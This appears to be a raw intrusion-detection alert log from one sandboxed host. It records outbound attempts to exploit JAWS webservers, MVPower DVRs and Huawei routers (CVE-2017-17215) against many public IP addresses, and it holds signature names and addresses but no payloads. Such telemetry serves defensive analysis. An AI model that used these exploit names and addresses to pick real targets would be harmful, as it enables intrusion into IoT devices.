04/14/24-04:01:18.333677	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	49134	80	192.168.2.13	198.137.225.222
04/14/24-04:01:24.449467	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	57888	80	192.168.2.13	18.244.146.19
04/14/24-04:00:49.555559	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	54272	80	192.168.2.13	45.132.241.41
04/14/24-04:01:04.329418	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	37232	80	192.168.2.13	35.162.207.131
04/14/24-04:01:11.166130	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	60726	80	192.168.2.13	104.25.155.177
04/14/24-04:01:42.178479	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	33744	80	192.168.2.13	209.252.101.160
04/14/24-04:01:37.299626	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	38712	80	192.168.2.13	209.200.111.176
04/14/24-04:01:13.648999	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	60352	80	192.168.2.13	23.7.114.165
04/14/24-04:01:46.694372	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	48688	80	192.168.2.13	38.91.107.114
04/14/24-04:01:15.446505	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	49074	80	192.168.2.13	185.217.243.246
04/14/24-04:00:33.301692	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	57818	80	192.168.2.13	191.81.77.161
04/14/24-04:00:37.791640	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	44084	80	192.168.2.13	104.98.233.87
04/14/24-04:00:33.657478	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	45096	80	192.168.2.13	39.97.135.11
04/14/24-04:01:35.799638	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	51732	80	192.168.2.13	66.102.1.100
04/14/24-04:00:22.693454	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	53220	80	192.168.2.13	125.229.13.9
04/14/24-04:01:08.634582	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	53158	80	192.168.2.13	123.56.68.237
04/14/24-04:01:42.173534	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	40120	80	192.168.2.13	18.154.238.239
04/14/24-04:01:46.463986	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	53176	80	192.168.2.13	117.180.238.129
04/14/24-04:01:18.606015	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	35812	80	192.168.2.13	54.255.12.156
04/14/24-04:00:55.418937	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	47834	80	192.168.2.13	23.224.94.20
04/14/24-04:01:15.422866	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	47422	80	192.168.2.13	156.250.20.101
04/14/24-04:01:36.703501	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	50490	80	192.168.2.13	104.76.28.173
04/14/24-04:00:29.340778	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	46326	80	192.168.2.13	52.212.19.165
04/14/24-04:00:49.344836	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	53554	80	192.168.2.13	185.164.186.63
04/14/24-04:00:58.454675	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	42630	80	192.168.2.13	13.33.18.73
04/14/24-04:00:14.182047	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	59436	80	192.168.2.13	192.185.167.102
04/14/24-04:00:45.790530	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	47190	80	192.168.2.13	38.238.70.100
04/14/24-04:00:56.730222	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	57490	80	192.168.2.13	154.214.86.243
04/14/24-04:01:19.536137	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	34234	80	192.168.2.13	54.156.22.68
04/14/24-04:01:50.100126	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	38248	80	192.168.2.13	154.212.222.199
04/14/24-04:01:45.437461	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	53148	80	192.168.2.13	117.180.238.129
04/14/24-04:01:41.947462	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	54410	80	192.168.2.13	34.196.170.79
04/14/24-04:00:45.476527	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	40878	80	192.168.2.13	95.100.233.80
04/14/24-04:00:36.456797	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	58360	80	192.168.2.13	42.193.19.169
04/14/24-04:01:45.878729	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57518	37215	192.168.2.13	156.241.118.9
04/14/24-04:00:15.435478	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	43464	80	192.168.2.13	143.204.37.147
04/14/24-04:00:50.631750	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35360	37215	192.168.2.13	41.43.168.76
04/14/24-04:00:38.705770	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	40596	80	192.168.2.13	52.220.154.162
04/14/24-04:00:39.668972	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	35426	80	192.168.2.13	154.31.215.197
04/14/24-04:01:39.307273	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	50050	80	192.168.2.13	178.239.36.76
04/14/24-04:01:47.166370	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	53288	80	192.168.2.13	117.180.238.129
04/14/24-04:00:14.642258	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	43162	80	192.168.2.13	83.66.226.69
04/14/24-04:01:30.919032	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	35216	80	192.168.2.13	37.27.15.34
04/14/24-04:01:04.420999	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	58066	80	192.168.2.13	54.235.16.88
04/14/24-04:01:15.463506	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	50490	80	192.168.2.13	186.39.211.134
04/14/24-04:00:16.559489	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	51088	80	192.168.2.13	104.206.59.2
04/14/24-04:00:46.467661	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	52094	80	192.168.2.13	208.87.99.128
04/14/24-04:01:42.011188	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	52016	80	192.168.2.13	23.55.65.9
04/14/24-04:01:32.233329	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	46702	80	192.168.2.13	20.48.158.32
04/14/24-04:01:28.387798	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	41256	80	192.168.2.13	23.36.251.28
04/14/24-04:01:42.534077	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59772	37215	192.168.2.13	156.241.107.105
04/14/24-04:01:04.547302	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	45884	80	192.168.2.13	218.161.62.21
04/14/24-04:01:05.640382	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	48488	80	192.168.2.13	69.168.3.9
04/14/24-04:01:42.620183	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	43546	80	192.168.2.13	80.88.214.211
04/14/24-03:59:56.606428	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	48870	80	192.168.2.13	18.216.104.237
04/14/24-04:00:19.224875	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	41430	80	192.168.2.13	69.163.139.88
04/14/24-04:00:14.983482	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	35144	80	192.168.2.13	190.167.7.136
04/14/24-04:00:43.057087	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	45514	80	192.168.2.13	34.36.39.20
04/14/24-04:01:03.916709	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	54860	80	192.168.2.13	23.9.126.72
04/14/24-04:00:19.370645	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	44330	80	192.168.2.13	47.238.160.6
04/14/24-04:00:46.330679	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	37916	80	192.168.2.13	52.36.0.173
04/14/24-04:00:43.093584	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	38012	80	192.168.2.13	50.2.133.75
04/14/24-04:01:15.466685	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	35748	80	192.168.2.13	42.29.49.205
04/14/24-04:01:12.960545	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	53022	80	192.168.2.13	23.60.188.235
04/14/24-04:01:45.192743	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	42326	80	192.168.2.13	23.34.113.225
04/14/24-04:01:03.822455	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	42510	80	192.168.2.13	185.103.117.76
04/14/24-04:00:13.961131	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	34462	80	192.168.2.13	104.248.234.118
04/14/24-04:00:14.603564	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	60510	80	192.168.2.13	184.85.93.3
04/14/24-04:00:59.677818	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	59378	80	192.168.2.13	38.207.22.210
04/14/24-04:01:19.536137	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	34234	80	192.168.2.13	54.156.22.68
04/14/24-04:00:38.680096	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	46060	80	192.168.2.13	104.102.21.224
04/14/24-04:00:34.258962	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	46816	80	192.168.2.13	2.19.237.30
04/14/24-04:00:55.907978	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	36730	80	192.168.2.13	18.155.109.0
04/14/24-04:00:43.093584	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	38012	80	192.168.2.13	50.2.133.75
04/14/24-04:00:53.167056	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	54112	80	192.168.2.13	18.224.121.76
04/14/24-04:01:35.592248	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	49092	80	192.168.2.13	175.243.11.88
04/14/24-04:00:14.043374	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	48110	80	192.168.2.13	123.56.125.186
04/14/24-04:00:29.518350	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	47462	80	192.168.2.13	41.60.17.174
04/14/24-04:01:28.443028	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	52786	80	192.168.2.13	200.80.131.208
04/14/24-04:00:46.399486	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	57734	80	192.168.2.13	50.236.225.130
04/14/24-04:00:24.688215	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	58162	80	192.168.2.13	46.8.153.39
04/14/24-04:01:17.994947	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	47586	80	192.168.2.13	156.250.20.101
04/14/24-04:00:33.134868	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	56754	80	192.168.2.13	52.88.189.249
04/14/24-04:01:49.658287	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	59388	80	192.168.2.13	46.242.239.155
04/14/24-04:00:55.508748	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	59846	80	192.168.2.13	5.251.4.167
04/14/24-04:01:08.547468	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	55302	80	192.168.2.13	52.193.158.255
04/14/24-04:01:30.711319	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	38026	80	192.168.2.13	57.180.150.1
04/14/24-04:01:46.463986	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	53176	80	192.168.2.13	117.180.238.129
04/14/24-04:01:45.203190	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	46626	80	192.168.2.13	89.19.45.154
04/14/24-04:01:30.463731	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	48046	80	192.168.2.13	156.250.20.101
04/14/24-04:00:45.318776	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	55844	80	192.168.2.13	34.120.76.126
04/14/24-04:01:15.408119	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	50318	80	192.168.2.13	45.116.167.168
04/14/24-04:01:32.633888	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	38940	80	192.168.2.13	18.192.226.4
04/14/24-04:00:43.168239	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	38292	80	192.168.2.13	138.186.189.181
04/14/24-04:01:35.490361	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	40972	80	192.168.2.13	38.6.214.47
04/14/24-04:00:22.655595	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	33282	80	192.168.2.13	23.87.89.132
04/14/24-04:00:50.402186	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	47686	80	192.168.2.13	23.95.247.76
04/14/24-04:01:00.520246	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	57910	80	192.168.2.13	220.87.17.129
04/14/24-04:00:53.696847	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	53416	80	192.168.2.13	51.210.180.200
04/14/24-04:00:45.494615	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	53690	80	192.168.2.13	23.212.130.139
04/14/24-04:00:59.692516	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	59714	80	192.168.2.13	106.75.71.194
04/14/24-04:00:29.497034	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	38798	80	192.168.2.13	23.216.200.106
04/14/24-04:00:22.152290	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	44540	80	192.168.2.13	116.96.120.220
04/14/24-04:01:49.209097	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	46384	80	192.168.2.13	50.87.191.161
04/14/24-04:00:15.768696	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	36874	80	192.168.2.13	104.89.113.53
04/14/24-04:01:08.130794	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	52936	80	192.168.2.13	136.226.64.127
04/14/24-04:01:08.176095	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	50478	80	192.168.2.13	23.79.27.90
04/14/24-04:01:49.372231	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	50924	80	192.168.2.13	104.21.58.38
04/14/24-04:00:29.455528	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	52934	80	192.168.2.13	23.26.195.86
04/14/24-04:01:26.376231	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	34374	80	192.168.2.13	209.200.67.104
04/14/24-04:00:55.396563	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	54696	80	192.168.2.13	51.75.161.197
04/14/24-04:01:24.679598	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	41274	80	192.168.2.13	52.1.206.174
04/14/24-04:01:15.756970	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	56148	80	192.168.2.13	185.81.0.63
04/14/24-04:00:30.436023	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	34314	80	192.168.2.13	38.48.143.91
04/14/24-04:01:45.215574	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	59518	80	192.168.2.13	38.153.99.160
04/14/24-04:00:21.834259	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	44988	80	192.168.2.13	159.89.127.214
04/14/24-04:00:29.353785	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	44460	80	192.168.2.13	89.161.252.119
04/14/24-04:01:18.593401	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	46282	80	192.168.2.13	95.164.23.125
04/14/24-04:00:55.504706	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	33266	80	192.168.2.13	188.59.40.100
04/14/24-04:01:42.298419	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	54356	80	192.168.2.13	23.80.218.14
04/14/24-04:01:41.938233	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	47608	80	192.168.2.13	67.166.0.107
04/14/24-03:59:55.965496	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	45488	80	192.168.2.13	198.211.117.232
04/14/24-04:00:55.425209	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	41840	80	192.168.2.13	192.151.235.198
04/14/24-04:00:52.375717	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	42564	80	192.168.2.13	107.146.234.158
04/14/24-04:00:26.549972	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	37700	80	192.168.2.13	81.196.66.125
04/14/24-04:00:39.676085	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	52940	80	192.168.2.13	93.190.199.140
04/14/24-04:00:47.652607	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	39820	80	192.168.2.13	116.106.105.209
04/14/24-04:01:32.520290	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	48304	80	192.168.2.13	125.133.17.134
04/14/24-04:00:37.076373	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	35694	80	192.168.2.13	2.193.208.197
04/14/24-04:01:36.446584	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	55232	80	192.168.2.13	23.47.140.224
04/14/24-04:01:02.730809	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	48196	80	192.168.2.13	199.190.47.23
04/14/24-03:59:59.462809	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	44908	80	192.168.2.13	18.154.216.239
04/14/24-04:01:12.492040	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	52220	80	192.168.2.13	12.175.64.146
04/14/24-04:01:36.114586	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	51750	80	192.168.2.13	66.102.1.100
04/14/24-04:00:43.674629	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	38538	80	192.168.2.13	113.21.246.146
04/14/24-04:00:16.677255	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	42720	80	192.168.2.13	188.150.117.221
04/14/24-04:00:21.771578	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	50184	80	192.168.2.13	172.247.69.141
04/14/24-04:00:36.775036	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	56836	80	192.168.2.13	187.45.195.230
04/14/24-04:00:43.058678	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	44120	80	192.168.2.13	54.67.63.127
04/14/24-04:01:39.174627	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	40790	80	192.168.2.13	64.68.101.146
04/14/24-04:00:38.992250	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	44008	80	192.168.2.13	118.71.31.48
04/14/24-04:01:20.764935	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40918	37215	192.168.2.13	156.241.97.130
04/14/24-04:01:37.508770	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	53380	80	192.168.2.13	136.226.33.46
04/14/24-04:00:27.321266	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	42836	80	192.168.2.13	72.167.55.19
04/14/24-04:01:15.989466	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	47538	80	192.168.2.13	156.250.20.101
04/14/24-04:00:27.644950	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	36748	80	192.168.2.13	5.39.219.157
04/14/24-04:01:49.957323	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	41678	80	192.168.2.13	43.251.220.40
04/14/24-04:01:02.699129	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	40374	80	192.168.2.13	5.150.254.149
04/14/24-04:01:47.400631	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	48258	80	192.168.2.13	52.216.214.244
04/14/24-04:00:19.370793	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	45348	80	192.168.2.13	45.85.76.45
04/14/24-04:01:41.938077	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	53036	80	192.168.2.13	23.65.233.196
04/14/24-04:01:22.718384	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	55160	80	192.168.2.13	34.141.65.190
04/14/24-04:01:49.311683	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	40004	80	192.168.2.13	164.46.113.233
04/14/24-04:00:38.671898	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	47970	80	192.168.2.13	92.205.173.124
04/14/24-04:00:15.470994	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	36266	80	192.168.2.13	72.8.195.236
04/14/24-04:00:53.021786	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	49870	80	192.168.2.13	45.39.159.30
04/14/24-04:00:43.799938	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	49524	80	192.168.2.13	139.9.59.202
04/14/24-04:01:02.407725	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	46128	80	192.168.2.13	92.255.78.26
04/14/24-04:00:46.396147	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	41054	80	192.168.2.13	96.11.0.254
04/14/24-04:00:55.403432	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	36780	80	192.168.2.13	147.135.174.32
04/14/24-04:01:19.481800	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60918	80	192.168.2.13	104.68.110.236
04/14/24-04:00:40.641385	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	33372	80	192.168.2.13	63.195.174.53
04/14/24-04:00:26.879376	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	54720	80	192.168.2.13	31.13.84.169
04/14/24-04:00:57.919186	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	41400	80	192.168.2.13	51.15.239.17
04/14/24-04:01:32.314413	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	41278	80	192.168.2.13	154.220.246.97
04/14/24-04:01:37.609587	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	57718	80	192.168.2.13	95.17.49.95
04/14/24-04:00:43.209327	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	43446	80	192.168.2.13	128.199.34.29
04/14/24-04:01:45.303264	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	58990	80	192.168.2.13	195.28.70.15
04/14/24-04:01:49.401864	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	46398	80	192.168.2.13	50.87.191.161
04/14/24-04:01:53.677032	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	37288	80	192.168.2.13	199.232.161.63
04/14/24-04:00:22.807096	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	45014	80	192.168.2.13	13.232.155.65
04/14/24-04:00:29.368516	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	57520	80	192.168.2.13	77.51.82.198
04/14/24-04:00:24.790187	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	46062	80	192.168.2.13	109.109.54.95
04/14/24-04:00:53.696334	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	54650	80	192.168.2.13	51.75.161.197
04/14/24-04:01:13.758841	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	49504	80	192.168.2.13	37.221.250.92
04/14/24-04:00:58.775901	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	48314	80	192.168.2.13	154.194.149.105
04/14/24-04:01:48.398376	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46546	37215	192.168.2.13	156.235.100.224
04/14/24-04:00:23.285416	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	34700	80	192.168.2.13	104.218.232.35
04/14/24-04:00:26.568955	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	39674	80	192.168.2.13	13.250.76.130
04/14/24-04:01:11.274951	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	34924	80	192.168.2.13	111.89.205.206
04/14/24-04:00:59.240251	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	43072	80	192.168.2.13	119.204.215.178
04/14/24-04:00:14.463199	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	54158	80	192.168.2.13	46.235.189.35
04/14/24-04:01:36.404011	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	47080	80	192.168.2.13	154.22.44.160
04/14/24-03:59:56.684803	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	44004	80	192.168.2.13	103.19.242.39
04/14/24-04:00:15.478884	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	46530	80	192.168.2.13	159.203.182.204
04/14/24-04:01:39.267833	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	39580	80	192.168.2.13	5.196.251.0
04/14/24-04:00:51.824706	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	58046	80	192.168.2.13	201.172.117.152
04/14/24-04:00:26.844855	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	58572	80	192.168.2.13	80.209.252.57
04/14/24-04:00:33.644481	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	40466	80	192.168.2.13	201.77.123.117
04/14/24-04:01:35.723502	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	40236	80	192.168.2.13	20.7.224.72
04/14/24-04:01:18.096502	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	36776	80	192.168.2.13	190.176.244.245
04/14/24-04:01:30.310744	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	54890	80	192.168.2.13	104.232.102.48
04/14/24-04:00:16.679594	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60794	80	192.168.2.13	161.97.117.64
04/14/24-04:00:46.577069	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	59400	80	192.168.2.13	20.29.183.40
04/14/24-04:01:19.624616	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	43492	80	192.168.2.13	178.128.249.27
04/14/24-04:01:18.696332	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	59884	80	192.168.2.13	208.186.235.80
04/14/24-04:00:52.053445	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	54068	80	192.168.2.13	18.224.121.76
04/14/24-04:00:52.605156	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60906	80	192.168.2.13	95.100.235.124
04/14/24-04:00:14.055282	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	35740	80	192.168.2.13	39.108.232.40
04/14/24-04:00:13.935441	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	58952	80	192.168.2.13	172.255.83.242
04/14/24-04:01:04.313894	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	33956	80	192.168.2.13	137.175.8.6
04/14/24-04:01:25.720532	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	34220	80	192.168.2.13	188.114.228.73
04/14/24-04:00:29.351909	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	52858	80	192.168.2.13	106.55.143.9
04/14/24-04:00:50.631750	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35360	37215	192.168.2.13	41.43.168.76
04/14/24-03:59:54.925996	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	44542	80	192.168.2.13	17.248.175.20
04/14/24-04:01:36.712498	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	44760	80	192.168.2.13	154.95.185.195
04/14/24-04:01:42.477459	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	50646	80	192.168.2.13	138.122.165.69
04/14/24-04:00:53.744168	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	56592	80	192.168.2.13	142.112.26.153
04/14/24-04:00:29.705745	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	51830	80	192.168.2.13	114.55.125.176
04/14/24-04:01:45.139466	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60860	80	192.168.2.13	34.49.210.122
